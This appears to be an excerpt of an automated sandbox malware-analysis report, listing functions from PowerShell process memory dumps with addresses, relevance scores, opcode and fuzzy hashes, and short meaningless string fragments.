Instruction ID: 7d71c209771621a1e345422f52a19f1bca23eca0714df67e8dc4e29a3636e25a
Opcode Fuzzy Hash: e95e82ed3c33fb59737b66018ff6d6ec3154e291d69a4a8471acdf7d5a1d95ee
Instruction Fuzzy Hash: 78D17530A19A4E8FEBA8DF28C8657E977E1FF58300F54426EE81DC7295DF3499418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8ADD01 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2381852516.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa27b1fc569a1106f2e8b0966b3dbb735ce26d6cb139c272c504a77c73870bb
Instruction ID: 3773a097e7b980733662cf41bb9ad278cb68a478bec3de31b15ec6b37949aeec
Opcode Fuzzy Hash: 2fa27b1fc569a1106f2e8b0966b3dbb735ce26d6cb139c272c504a77c73870bb
Instruction Fuzzy Hash: 91D19330A08A4E8FEBA8DF28C8657E977D1FF58310F10826ED80DC7295CF74A9418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B974B35 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2383256471.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce5564d8fe1d360aad4f37daa01663f8381cd77dc87eb3d253cc0c53e565d93e
Instruction ID: 8ffc5574ba66f0f0bd878b64c8f6b28fe75e397f26718ac6534c8a6bf0469f13
Opcode Fuzzy Hash: ce5564d8fe1d360aad4f37daa01663f8381cd77dc87eb3d253cc0c53e565d93e
Instruction Fuzzy Hash: FAD14B31B1FACD5FE76697A848A4AB97BD1EF56210F0901FED08CCB1E3D918A901C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2381852516.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 04b822a5e3d45822b76be075df3c081dc68bfd048355e8304278f52f19c5101e
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: F401677121CB0D4FD748EF0CE451AA5B7E0FB99364F10056DE58AC36A5D636E881CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6528, Parent PID: 5984COMMON

Executed Functions

Function 07778C40 Relevance: 10.8, Strings: 8, Instructions: 768COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07779187
-zk, xrefs: 07779222
x.zk, xrefs: 077791D1
4'^q, xrefs: 07778FAE
4'^q, xrefs: 07778FA2
4'^q, xrefs: 07779108
4'^q, xrefs: 077790FC
4'^q, xrefs: 0777917B

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$x.zk$-zk
API String ID: 0-528588223
Opcode ID: 831cb209b1f76c70331b405a8180c551b3e19c0012b42292c5ada2cc20fd003b
Instruction ID: 31d60cc0ea4313378ff1b4db9d425df22482487ac37697edf998e5daaf16f701
Opcode Fuzzy Hash: 831cb209b1f76c70331b405a8180c551b3e19c0012b42292c5ada2cc20fd003b
Instruction Fuzzy Hash: E56282B4A01209DFDB24CB58C994B9EBBB2BF85340F1489A9D509AF754CB31EC85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 048CD850 Relevance: 10.5, Strings: 8, Instructions: 521COMMON

Download Yara Rule

Strings

8N-k, xrefs: 048CE940
h]-k, xrefs: 048CDA7A
h]-k, xrefs: 048CDF1E
I-k, xrefs: 048CE40C
$^q, xrefs: 048CDDCF
Hbq, xrefs: 048CD916
h]-k, xrefs: 048CE3E0
$^q, xrefs: 048CDA6A

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: 8N-k$Hbq$h]-k$h]-k$h]-k$$^q$$^q$I-k
API String ID: 0-2998399770
Opcode ID: 723754be3d171288adb38445ef7fb0bacd233992ead5ad77be40fda21128f187
Instruction ID: df1843076630082b51a36f11040169ec7c130cc70f18b33a6e06d85a0684a861
Opcode Fuzzy Hash: 723754be3d171288adb38445ef7fb0bacd233992ead5ad77be40fda21128f187
Instruction Fuzzy Hash: C3225F34B002188FDB25EB24D854AAEB7F2AF89304F1445A9D44AEB365DF35ED85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0777A058 Relevance: 10.3, Strings: 8, Instructions: 339COMMON

Download Yara Rule

Strings

-zk, xrefs: 0777A3F7
4'^q, xrefs: 0777A372
4'^q, xrefs: 0777A18E
4'^q, xrefs: 0777A2F3
4'^q, xrefs: 0777A2E7
4'^q, xrefs: 0777A366
x.zk, xrefs: 0777A3B2
4'^q, xrefs: 0777A182

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$x.zk$-zk
API String ID: 0-528588223
Opcode ID: f6010be2c211f8e86abc7880b93effc546c3019c9f942a7151e36334b54f296a
Instruction ID: 1158ad37d33b35e3a323053efceba48aad98ff0a75c04862c24c2efc59b26610
Opcode Fuzzy Hash: f6010be2c211f8e86abc7880b93effc546c3019c9f942a7151e36334b54f296a
Instruction Fuzzy Hash: 74D19FB4B002099FDB14DB6CC554B9EBBB2EB88354F12C829E4056F795CB72EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 077792BB Relevance: 6.6, Strings: 5, Instructions: 387COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07779532
x.zk, xrefs: 07779798
4'^q, xrefs: 07779526
-zk, xrefs: 077797E9
x.zk, xrefs: 077793A2

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$x.zk$x.zk$-zk
API String ID: 0-1215824852
Opcode ID: 8bf007d36fa287702736fa578ce38cab6a0a61bac3ccc044604769505e0752cf
Instruction ID: 0529620dc40f21250ccabb1c83a0427d0e65668e66a0c0f0a301e316177c6a16
Opcode Fuzzy Hash: 8bf007d36fa287702736fa578ce38cab6a0a61bac3ccc044604769505e0752cf
Instruction Fuzzy Hash: 3AF1A1B4B002159FDB64DB18C950F9EBBB2AB84300F11C8A9D5096F795CB72ED85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0777A038 Relevance: 6.5, Strings: 5, Instructions: 271COMMON

Download Yara Rule

Strings

-zk, xrefs: 0777A3F7
4'^q, xrefs: 0777A2E7
4'^q, xrefs: 0777A366
x.zk, xrefs: 0777A3B2
4'^q, xrefs: 0777A182

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$x.zk$-zk
API String ID: 0-3989178038
Opcode ID: 5f524b5b2b1578394b8588d442b6c6255592b9df6cf1ab9c53dc23f9090d1bef
Instruction ID: 1b17581c0122a37f19e8efae16f2045f2093e9c0f6d30b2ed906c3021d4b272e
Opcode Fuzzy Hash: 5f524b5b2b1578394b8588d442b6c6255592b9df6cf1ab9c53dc23f9090d1bef
Instruction Fuzzy Hash: D2B19EB4A00209DFEB14CB58C944B9EBBB2EB88354F16C959D8156F395CB32EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07775FC0 Relevance: 6.4, Strings: 5, Instructions: 175COMMON

Download Yara Rule

Strings

$^q, xrefs: 07776013
$^q, xrefs: 0777602F
4'^q, xrefs: 0777605A
$^q, xrefs: 0777603B
4'^q, xrefs: 07776066

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: f62e33bbabd7fbfe341c4e7f8373581c3df5e2574125dcae101cf6a99f749ac3
Instruction ID: cb8a73a16820f5087a616d2ad915f75ed143c885bd31f7aad8efcb652469ac98
Opcode Fuzzy Hash: f62e33bbabd7fbfe341c4e7f8373581c3df5e2574125dcae101cf6a99f749ac3
Instruction Fuzzy Hash: 4C510C74704345DFDF268B288814B6A7FB2AFC2351F1888ABD505CF25ADA36D846C752

Uniqueness

Uniqueness Score: -1.00%

Function 07777798 Relevance: 4.2, Strings: 3, Instructions: 436COMMON

Download Yara Rule

Strings

x.zk, xrefs: 07777C71
tP^q, xrefs: 077778D6
tP^q, xrefs: 077778CA

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$x.zk
API String ID: 0-1811331843
Opcode ID: e71685138023bfb05bed4fabc97938fbd65cb2b8142a8aa24ba2fa79cab7ae9a
Instruction ID: c610ef385e1c620977190dc7113dc85588ef1a1f35eaf22b738246589a80eb87
Opcode Fuzzy Hash: e71685138023bfb05bed4fabc97938fbd65cb2b8142a8aa24ba2fa79cab7ae9a
Instruction Fuzzy Hash: E2F107B0B00205DFDB18DB68C944B6EBBE2AF89350F158869E505AF791CB72EC45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 048CE508 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

I-k, xrefs: 048CE40C
h]-k, xrefs: 048CE3E0

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: h]-k$I-k
API String ID: 0-388758362
Opcode ID: d0e485561cf493c0d5bb610e894ad17939fc333901c130e06e5749c1143d71d6
Instruction ID: c6a765d06c74086d79ec85425801a95c4c4f590e73f28ca483fac28722b96c7a
Opcode Fuzzy Hash: d0e485561cf493c0d5bb610e894ad17939fc333901c130e06e5749c1143d71d6
Instruction Fuzzy Hash: FA315C34B002188FCB26DB64C8946EEB7F2AF89348F1045E9D509AB355DB35EE85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 08447060 Relevance: 1.7, Strings: 1, Instructions: 433COMMON

Download Yara Rule

Strings

j'L, xrefs: 08447577

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID: j'L
API String ID: 0-3468522453
Opcode ID: a8c202e892a068c8d847de7a3465f83e1103afb2c27c6e3f26f3d1cd6f9f9b37
Instruction ID: 14054e1833ef6b4783d2347cfe509de2dbd12d8362fadb6283eedd2c4531662d
Opcode Fuzzy Hash: a8c202e892a068c8d847de7a3465f83e1103afb2c27c6e3f26f3d1cd6f9f9b37
Instruction Fuzzy Hash: B1020974A00219DFDB15CF98D584AAEFBB2FF48311F24855AE805AB365C731ED82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 077708D8 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

$^q, xrefs: 07770B54

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: ddcc3c43d8876de13d47d209ae2ee04b2bff549898bc19165bd4f813d2412404
Instruction ID: d87be17bb2694190f9d2131318a3db9eec673c37a17ace466e87a06d0bb21908
Opcode Fuzzy Hash: ddcc3c43d8876de13d47d209ae2ee04b2bff549898bc19165bd4f813d2412404
Instruction Fuzzy Hash: 318147B1B04306DFDF254B39881477BBBA6EFC2294F15886BD458CB2A1CB31C845C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 08445BF8 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

PH^q, xrefs: 08445D8B

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 6c7340671a4d529c1947ca4bf8ea44b2c592475435bb03a3793ed9801fbfc052
Instruction ID: 259957320cf82617c85705159134933d5dd286d445de06b349f3263c50e57f75
Opcode Fuzzy Hash: 6c7340671a4d529c1947ca4bf8ea44b2c592475435bb03a3793ed9801fbfc052
Instruction Fuzzy Hash: 67718C70E002488FEF15DFE4C9547AEBBB2AF86305F25852AD402AF354DB75AD4ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 077762C6 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07776466

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: tP^q
API String ID: 0-2862610199
Opcode ID: af7a85b4debba1f16f80ff9504bcfe8d4a5bfb3788ae24d135d35cc96122285c
Instruction ID: eecad11cbf8ffeceafb0f4fb6e3cd15b83806ff05e2430497e30702355ba7379
Opcode Fuzzy Hash: af7a85b4debba1f16f80ff9504bcfe8d4a5bfb3788ae24d135d35cc96122285c
Instruction Fuzzy Hash: 9D51F7B4A093819FCF128B68C854A15BFB1AF87250B1DC9DBD494CF29BC631DC46C762

Uniqueness

Uniqueness Score: -1.00%

Function 07777D80 Relevance: .7, Instructions: 741COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51bd131f0e5dd7ddb1f670d6171a88308d96c4cdf5e1f0cd92792f4bf237c3fc
Instruction ID: 4dcb83ef8faa9a55a7c79e67925e80d5871f5836effc6a5d22a1b8347bbdf18c
Opcode Fuzzy Hash: 51bd131f0e5dd7ddb1f670d6171a88308d96c4cdf5e1f0cd92792f4bf237c3fc
Instruction Fuzzy Hash: B1627FB4B00204DFDB24CB98CA45E5EBBB2BB89344F55C869D805AF755CB72EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 07777D63 Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68881d5ab8a5c9ec2e95e9c9c1d4f3c1c3fe21cd3ccc2af54e67169956f99994
Instruction ID: 5d8b47035570062e4316e65f4affdd16b5f86f43987c86633e4bd84a3e47ca0a
Opcode Fuzzy Hash: 68881d5ab8a5c9ec2e95e9c9c1d4f3c1c3fe21cd3ccc2af54e67169956f99994
Instruction Fuzzy Hash: 2D328DB4A00205DFDB20CB98C944E9DBBB2BF89354F55C4A9E809AF355C772EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 077784F5 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0d2893cdadcb5ca1cd5f37d3b256f703b1df14506eafd13208bd947e6c3e71
Instruction ID: fc9b31382d0cb4d953477fbc404ad627d478e55cc1a5a18e3c5fbf8e79342360
Opcode Fuzzy Hash: eb0d2893cdadcb5ca1cd5f37d3b256f703b1df14506eafd13208bd947e6c3e71
Instruction Fuzzy Hash: C3128DB4A00205DFDB20CF88C945E9DBBB2BB85344F55C4A9E905AF755C772EC46CB82

Uniqueness

Uniqueness Score: -1.00%

Function 048CC048 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273908db3b8ae5f98bffed5103dea83aa68cf4ba62b255a5ebac0559be657080
Instruction ID: a8ffe2887085253404c45d7a9cbc8860034dd422723d6e7395f67a50a72e43a3
Opcode Fuzzy Hash: 273908db3b8ae5f98bffed5103dea83aa68cf4ba62b255a5ebac0559be657080
Instruction Fuzzy Hash: 3AE11874A002099FCB15CFA8D584AADBBB2FF49314F258659E819EB365C731ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 048CADA8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3b530342f9f731c7c667705d113d4da0684cf4b446f499e0f68345d4e13088
Instruction ID: 0b0de608fbac26315e8e51f65d0da40c5e6f809774750eb04de2c0c30a3e8123
Opcode Fuzzy Hash: ac3b530342f9f731c7c667705d113d4da0684cf4b446f499e0f68345d4e13088
Instruction Fuzzy Hash: E9C18B35A006089FDB14DFA4E945A9DBBB2FF89314F118A69E416DB364CB74FC49CB80

Uniqueness

Uniqueness Score: -1.00%

Function 048C3670 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 017980edd1bbc2a7526fc0267687b2dae16071bad3ba0cd50b77be0eee0e6301
Instruction ID: 5bd2ebfc1ce2462bb6bc1d24f4423c35dc42047f3ae898a78fbe6087e558936b
Opcode Fuzzy Hash: 017980edd1bbc2a7526fc0267687b2dae16071bad3ba0cd50b77be0eee0e6301
Instruction Fuzzy Hash: 3AD1F374A01209AFCB05CFA8D584A9DFBB2EF49314F25C659E804EB365C735ED86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 048CAAE0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef38ebf86a18a80b8bd9eee17d519e169779cafec8d227a5e03c151512ee1d54
Instruction ID: 6430e0ca6dbcdba23a69a0422669cb0726be49930efa31b3cd1bc8c81caf634d
Opcode Fuzzy Hash: ef38ebf86a18a80b8bd9eee17d519e169779cafec8d227a5e03c151512ee1d54
Instruction Fuzzy Hash: 1A918F34A013089FC718DF68D884AAEBBF2BF89314F148A69E4559B761DB35EC85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 08446258 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89d5feb4c243556b8339272b2c0c2d5f7891697ee2e52722608f77e92c9a002
Instruction ID: 142effaacc9a53866fd4096662afacfb3dfa0d2662881b12a2a8eaa09d1b3fb5
Opcode Fuzzy Hash: f89d5feb4c243556b8339272b2c0c2d5f7891697ee2e52722608f77e92c9a002
Instruction Fuzzy Hash: 9481DF74B002058FEB14DFA8D980AAEBBF6FF88300F148569D4059B365DB35EC46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 048C2B48 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc0ba8c147fae0b0f4f0080292176723cd9e745fe8818170683945c8570ef774
Instruction ID: 35b95e20a28639afaaf460fbed378a811e74ccccbe7dab932d24d496cd73436d
Opcode Fuzzy Hash: dc0ba8c147fae0b0f4f0080292176723cd9e745fe8818170683945c8570ef774
Instruction Fuzzy Hash: CA917E74A00649CFCB05CF59C4949AAFBB1FF48310B248A9AD515EB3A5C335FC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 048C8DBE Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c5c9f35b6b5b3da0d0302ac09348c44ddf0d893b46fde75dd6474558f73e77
Instruction ID: 98b84f02c89a7e51d9404decafa4c27c886473e89f69a1f6c2f312ba274b5de5
Opcode Fuzzy Hash: d4c5c9f35b6b5b3da0d0302ac09348c44ddf0d893b46fde75dd6474558f73e77
Instruction Fuzzy Hash: 35713D34A00208DFDB24EFA5D444BADBBF2FF88305F148929D416AB764DB34AD46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 048C87BA Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3826bb0931193615ff4ab5df34ce8ead3941575ed08c1edb8315f183da083c04
Instruction ID: 6187564c6e6aea4feb4fa7d30a822ddaf7a008360137ae5639db57366b973a2f
Opcode Fuzzy Hash: 3826bb0931193615ff4ab5df34ce8ead3941575ed08c1edb8315f183da083c04
Instruction Fuzzy Hash: 4A614F34A40249DFCB15DFA4D544AADBBB2FF84301F158658E402AF769DB78ED89CB80

Uniqueness

Uniqueness Score: -1.00%

Function 084466A8 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd25209b4b4efa4d25f4a137ccfcb1783d511f20336faa17de9e726457a38d2d
Instruction ID: de6e479fcc168ba53691c0e7505fce47fbbf50df6bb7cbf07082dca21f4c4b98
Opcode Fuzzy Hash: cd25209b4b4efa4d25f4a137ccfcb1783d511f20336faa17de9e726457a38d2d
Instruction Fuzzy Hash: A361CF74A052548FEB06DF6CC890AAEBBB1FF4A310F258196D455DB3A5C735EC42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 048C87C8 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb30f2f0c0c016e1212f3d5cc3a1a4d0719a114f0c0a0c9bfca6950064a5593
Instruction ID: d57ac947c06a4b078c1752f2de001cba23073f7dea4dbfbb116c6f48d88d41ee
Opcode Fuzzy Hash: 5eb30f2f0c0c016e1212f3d5cc3a1a4d0719a114f0c0a0c9bfca6950064a5593
Instruction Fuzzy Hash: 02612E34A40249DFDB15DFA4C584A9DBBB2FF84301F158658E402AF769DB78ED89CB80

Uniqueness

Uniqueness Score: -1.00%

Function 048C8C93 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e728e9123efb4c002a7561ea7bc28def719684536481af30ae967e8c6802741c
Instruction ID: 889ae3ab9b3710cad3f4256d33001297e8fb0a64de738ec8c1a3b6fcba5c335a
Opcode Fuzzy Hash: e728e9123efb4c002a7561ea7bc28def719684536481af30ae967e8c6802741c
Instruction Fuzzy Hash: 56517C71A002048FCB14DF69D884AADBBF2FF88315F158969D406DB765DB35EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 08446248 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec05505a87bee2c9ed4c624599aecc50b0913e12fc97bfffa93e0b21ef2a755
Instruction ID: 69ebd12b98fbca5a1752951331f42df07c686d759b69683a476280aaec2268b9
Opcode Fuzzy Hash: 0ec05505a87bee2c9ed4c624599aecc50b0913e12fc97bfffa93e0b21ef2a755
Instruction Fuzzy Hash: 4751BC34F002058FEB15DFA8D9846AEBBF6FF89300F148569D805AB365DB35AC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07772CAD Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10def7236f5433503980a5164ed6ac8482fefd5101b6b639b6f3451d58b20aa6
Instruction ID: b6139036bf96c30728942341e26448663c58172225858e2de42e8dd3e6a107ae
Opcode Fuzzy Hash: 10def7236f5433503980a5164ed6ac8482fefd5101b6b639b6f3451d58b20aa6
Instruction Fuzzy Hash: AE417CF2B002108BCF25977C99516AA7FB2AFD1354B108CAAD9218F756DE32CC55C3E1

Uniqueness

Uniqueness Score: -1.00%

Function 048CB2FC Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009560501.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c9a416a0ffaa35b545354daccf23e163db1ca27f69e1ec0b77ef2753425212
Instruction ID: 18a930c65a210d8ff296fbb45ed807565f2ab185815e73a7c6d4568c5d38a03a
Opcode Fuzzy Hash: 24c9a416a0ffaa35b545354daccf23e163db1ca27f69e1ec0b77ef2753425212
Instruction Fuzzy Hash: 624149357006048FD7149B78E958AADBBB2EF88754F14896CE406EB7A0DF35EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 08446699 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

